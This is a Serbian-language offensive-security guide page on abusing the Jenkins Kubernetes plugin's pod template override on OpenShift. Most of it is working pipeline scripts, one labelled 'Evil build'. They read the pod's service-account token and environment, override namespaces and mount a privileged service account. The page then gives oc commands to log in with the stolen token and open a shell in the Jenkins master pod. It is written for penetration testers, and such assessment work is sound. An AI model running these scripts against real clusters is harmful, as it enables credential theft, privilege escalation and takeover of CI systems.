Jenkins u Openshift-u - prepravke build pod-a
Reading time: 4 minutes
Originalni autor ove stranice je Fares
Kubernetes plugin za Jenkins
Ovaj plugin je uglavnom odgovoran za osnovne funkcije Jenkins-a unutar openshift/kubernetes klastera. Zvanična dokumentacija ovde Nudi nekoliko funkcionalnosti kao što je mogućnost za programere da preprave neke podrazumevane konfiguracije jenkins build pod-a.
Osnovna funkcionalnost
Ovaj plugin omogućava fleksibilnost programerima prilikom izgradnje njihovog koda u adekvatnom okruženju.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Neka zloupotrebe koriste pod yaml override
Međutim, može se zloupotrebiti da se koristi bilo koja dostupna slika kao što je Kali Linux i izvrše proizvoljne komande koristeći unapred instalirane alate iz te slike.
U sledećem primeru možemo eksfiltrirati token serviceaccount-a pokrenutog poda.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Drugačija sintaksa za postizanje istog cilja.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Primer za prepisivanje imenskog prostora pod-a
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Još jedan primer koji pokušava da montira serviceaccount (koji može imati više dozvola od podrazumevanog, koji pokreće vašu izgradnju) na osnovu njegovog imena. Možda ćete prvo morati da pogodite ili enumerišete postojeće serviceaccounts.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ista tehnika se primenjuje da se pokuša montirati Secret. Krajnji cilj ovde bi bio da se otkrije kako da konfigurišete svoj pod build da efikasno pivotirate ili dobijete privilegije.
Idemo dalje
Kada se naviknete da se igrate s tim, iskoristite svoje znanje o Jenkins-u i Kubernetes/Openshift-u da pronađete loše konfiguracije / zloupotrebe.
Postavite sebi sledeća pitanja:
- Koji servisni nalog se koristi za implementaciju build podova?
- Koje uloge i dozvole ima? Da li može da čita tajne prostora imena u kojem se trenutno nalazim?
- Mogu li dalje da enumerišem druge build podove?
- Da li mogu da izvršavam komande na master čvoru/podu iz kompromitovanog sa?
- Mogu li dalje da enumerišem klaster da bih pivotirao negde drugde?
- Koji SCC je primenjen?
Možete saznati koje oc/kubectl komande da izdate ovde i ovde.
Mogući privesc/pivoting scenariji
Pretpostavimo da ste tokom vaše procene otkrili da se svi jenkins build-ovi izvršavaju unutar prostora imena pod nazivom worker-ns. Utvrdili ste da je pod default servisni nalog pod nazivom default-sa montiran na build podovima, međutim, nema mnogo dozvola osim pristupa za čitanje na nekim resursima, ali ste uspeli da identifikujete postojeći servisni nalog pod nazivom master-sa. Takođe pretpostavimo da imate instaliranu oc komandu unutar pokrenutog build kontejnera.
Sa sledećim build skriptom možete preuzeti kontrolu nad master-sa servisnim nalogom i dalje enumerisati.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
U zavisnosti od vašeg pristupa, ili treba da nastavite svoj napad iz skripte za izgradnju ili se možete direktno prijaviti kao ovaj sa na aktivnom klasteru:
oc login --token=$token --server=https://apiserver.com:port
Ako ovaj sa ima dovoljno dozvola (kao što su pod/exec), takođe možete preuzeti kontrolu nad celim jenkins instance izvršavanjem komandi unutar pod-a master čvora, ako se pokreće unutar istog imenskog prostora. Ovaj pod možete lako identifikovati putem njegovog imena i činjenice da mora montirati PVC (persistant volume claim) koji se koristi za čuvanje jenkins podataka.
oc rsh pod_name -c container_name
U slučaju da master node pod ne radi unutar iste namespace kao radnici, možete pokušati slične napade usmeravajući se na master namespace. Pretpostavimo da se zove jenkins-master. Imajte na umu da serviceAccount master-sa treba da postoji u jenkins-master namespace (i možda ne postoji u worker-ns namespace)